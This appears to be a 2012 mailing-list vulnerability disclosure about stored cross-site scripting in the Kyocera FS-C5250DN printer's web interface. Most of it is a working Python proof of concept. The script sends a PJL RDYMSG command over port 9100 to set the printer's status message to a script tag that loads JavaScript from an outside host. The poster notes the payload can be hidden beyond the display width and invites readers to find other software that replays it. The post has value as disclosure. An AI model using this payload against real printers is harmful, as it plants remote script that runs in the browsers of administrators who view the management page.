Kyocera FS5250 Cross Site Scripting

`Found the below on a printer a couple of years ago, sent to Kyocera but  
never heard anything back...  
  
Changing the 'Ready' message on a printer is quite a well known prank (And  
much fun was had with this yesterday!) but also an interesting avenue for  
injecting XSS, as the Kyocera printer management interface plays the  
status message back without any filtering.  
  
It's quite a fun little hack! Not having a Kyocera any more I can't test  
it further, or whether it's now fixed, but it worked pretty consistently at  
the time. Might work in other makes/models of printers; please let me know  
on here if you find any!  
  
As the status message on printers is pretty well trusted; injecting into  
it causes side effects in all sorts of things, I leave it up to the reader  
to find other bits of software that capture these and replay them to users  
unfiltered!  
  
Python POC, sorry if the formatting gets mangled, first time posting code  
to mailman:  
##############################  
# Date: 30/07/2012  
# Semi*-persistent XSS in Kyocera web interface; tested on FS-C5250DN, may  
work on other models.  
#  
# 1. The message currently on the printer's LCD is shown on the web  
interface, unfiltered.  
# 2. We can change this message using PJL commands  
# 1+2 == xss  
# for extra fun, the message can be longer than the display, so you can  
hide your XSS :)  
#  
# *This resets on reboot, but how often do people reboot their printers?  
#  
##############################  
import socket  
HOST='10.0.0.1'  
PORT=9100  
#OPMSG Pauses the printer until the users goes and mashes the buttons,  
useful for social engineering in theory, could never get this to work  
consistently in practice.  
#RDYMSG Persists until reboot  
#base="@PJL OPMSG DISPLAY=\""  
  
base="@PJL RDYMSG DISPLAY=\""  
message="Ready "  
xss="<script src=http://ha.ckers.org/xss.js />"  
payload= base + message + xss + "\"\n\r"  
  
print payload  
  
s = None  
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,  
socket.SOCK_STREAM):  
af, socktype, proto, canonname, sa = res  
try:  
s = socket.socket(af, socktype, proto)  
except socket.error, msg:  
s = None  
continue  
try:  
s.connect(sa)  
except socket.error, msg:  
s.close()  
s = None  
continue  
break  
if s is None:  
print 'could not open socket'  
sys.exit(1)  
s.sendall(payload)  
s.close()  
#Visit 10.0.0.1 now, and you'll get your xss back.  
  
  
`